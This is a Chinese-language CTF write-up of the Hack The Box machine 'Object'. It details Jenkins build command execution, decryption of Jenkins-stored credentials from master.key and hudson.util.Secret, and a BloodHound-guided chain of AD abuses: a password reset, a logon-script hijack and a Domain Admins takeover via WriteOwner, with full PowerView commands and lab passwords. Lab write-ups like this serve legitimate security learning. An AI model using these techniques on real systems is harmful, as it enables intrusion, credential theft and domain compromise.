zl程序教程

您现在的位置是:首页 >  系统

当前栏目

【Hack The Box】windows练习-- Object

Windows -- The 练习 object Box Hack
2023-09-27 14:26:30 时间

HTB 学习笔记

【Hack The Box】windows练习-- Object


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http    Jetty 9.4.43.v20210629
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds

web(两个),winrm,

我看80

有个自动化服务器
在这里插入图片描述在这里插入图片描述
所以我将添加这个域,但是因为没有展现出子域。我将爆破

wfuzz -u http://object.htb -H 'Host: FUZZ.object.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 29932

但是没有结果

在这里插入图片描述
所以可以证明存在admin用户,但是也没啥用,我们注册个正常的,看看前面说的那个自动化的是个什么东西

在这里插入图片描述

页面源码中没有version相关信息,那注册登陆进去应该会有控制板啥的,可以找找,但是没有对应的exp
在这里插入图片描述2.317
但是search并没有任何负荷的信息

在这里插入图片描述

然后保存之后我发现我找不到我需要的东西

接着我在主页面左侧的设置栏中似乎可以看到设置触发器
可以设置计划任务

![在这里插入图片描述](https://img-blog.csdnimg.cn/d1c70660623d4fd0981ae04535fb2714.png
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述鼠标放上去悬浮小箭头,发现可以执行命令,那就完事了,开始反弹shell就行
在这里插入图片描述
但是我建立smbshare的方法他报错了,显示无法连接,猜测可能是防火墙限制出站规则

我将新建一个项目去查看防火墙规则

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

步骤一致


Name                  : {D6399A8B-5E04-458F-AA68-62F64A4F1F43}
DisplayName           : BlockOutboundDC
Description           : 
DisplayGroup          : 
Group                 : 
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Outbound
Action                : Block
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 : 
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local

接着通过如下命令脚本
查看详细的防火墙策略

powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,
Direction,Action"

我将修正格式,防止换行符

回显如下
可以看到所有的端口都被搞了

DisplayName     Protocol LocalPort RemotePort RemoteAddress Enabled Profile Direction Action
-----------     -------- --------- ---------- ------------- ------- ------- --------- ------
BlockOutboundDC TCP      Any       Any        Any              True     Any  Outbound  Block

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
这样来寻找例外

但是一无所获

利用config.xml

这是一点点找出来的
每一次新建命令执行dir之类的

type …\users\admin_17207690984073220035\config.xml

<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin</id>
  <fullName>admin</fullName>
  <properties>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain>
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
              <description></description>
              <username>oliver</username>
              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
      <triggers/>
    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>ea75b5bd80e4763e</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
      <emailAddress>admin@object.local</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1634793332195</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>

在这里插入图片描述里面有几个密码
bse64的和md5的

提取james的密码有两种方法,一种是script,但是我们无法访问,一般人都无法访问
一种就是从config.xml中提取

需要这么些个东西

config.xml
master.key
hudson.util.Secret

$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location

也是慢慢找,也可以用全局搜索,但是一般来说james目录下有secret,里面就是
一个是单纯的字符串,另一个是可执行文件,我们要对他编码

powershell -c cat ..\..\secrets\master.key 拿到本地校验一下
wc -c master.key 应该是256位

hudson.util.Secret是一个二进制文件,我们可以base64编码后再回来解码打开

powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte)) 

在这里插入图片描述
在这里插入图片描述额。。。

用这个go文件的,py的不好用,会报错

https://github.com/hoto/jenkins-credentials-decryptor/releases/tag/1.2.0
执行如下
 ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml 

得到密码
c1cdfun_d2434

登陆

evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434

在这里插入图片描述
我服了,bloodhound用不了
说是版本问题
去他们的
https://github.com/BloodHoundAD/SharpHound/releases
去这里下载1.0.3的exe

上传之后直接执行
.\sharphound.exe -c all

在这里插入图片描述

在这里插入图片描述
新版的blood也能识别,我用的1.0.3的exe,新版的bloodhound
没啥问题

先设置成已拥有用户

在这里插入图片描述然后设置这个
在这里插入图片描述
在这里插入图片描述
所以我们先改了smith的密码

ForceChangePassword

shell 作为 oliver,所以我不需要通过该凭证。

利用就这样,直接改掉smith的密码

upload PowerView.ps1
. .\PowerView.ps1
$newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $newpass

evil-winrm -i 10.129.15.97 -u smith -p '0xdf0xdf!'

在这里插入图片描述
在这里插入图片描述
然后把smith设置为拥有,刚才那个取消设置
然后再查看同样的信息

GenericWrite

普遍方式

我将向 maria(目标用户) 的帐户添加一个 SPN:
要利用 Kerberoast,我需要使用具有 有效格式 的 SPN
通常情况下
添加
Set-DomainObject -Identity maria -SET @{serviceprincipalname=‘nonexistent/0XDF’}
查看
Get-DomainUser maria | Select serviceprinciplename

可是这在这里却失败了

在某些情况下也可以导致用户密码修改

$newpass = ConvertTo-SecureString ‘0xdf0xdf!’ -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass
但这同样失败

GenericWrite在用户上更新他们的登录脚本

1. 导入模块
Import-Module .\PowerView.ps1
2. 本地监听验证
sudo tcpdump -ni tun0 icmp
3. 写入
echo "ping 10.10.14.12" > ping.ps1
4. 执行
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}

在这里插入图片描述

echo "ls \users\maria\ > \programdata\out" > cmd.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}

在这里插入图片描述注意到一个时间异常

d-r— 10/25/2021 10:07 PM Documents

echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1

在这里插入图片描述
在这里插入图片描述

echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1 
download C:\programdata\Engines.xls Engines.xls

表格信息查看

在这里插入图片描述

crackmapexec winrm 10.10.11.132 -u maria -p maria-pass

我将测试哪一个能登陆,当然手测也可以,反正就三个

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

在这里插入图片描述

WriteOwner

这意味着 maria 可以更改组的所有者。

upload PowerView.ps1
Import-Module .\PowerView.ps1

1。 设置为组所有者
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

2. 给自己授予全部权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

3. 把自己添加到dbadmin
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

net user maria

在这里插入图片描述
在这里插入图片描述
但是现在查看依旧我不在组中,这是因为一个常见问题,就是更新的问题
我们可以退出再进,如果还是不行那就没办法了,要重启,无限循环

在这里插入图片描述
我已经可以拿到root.txt了
完毕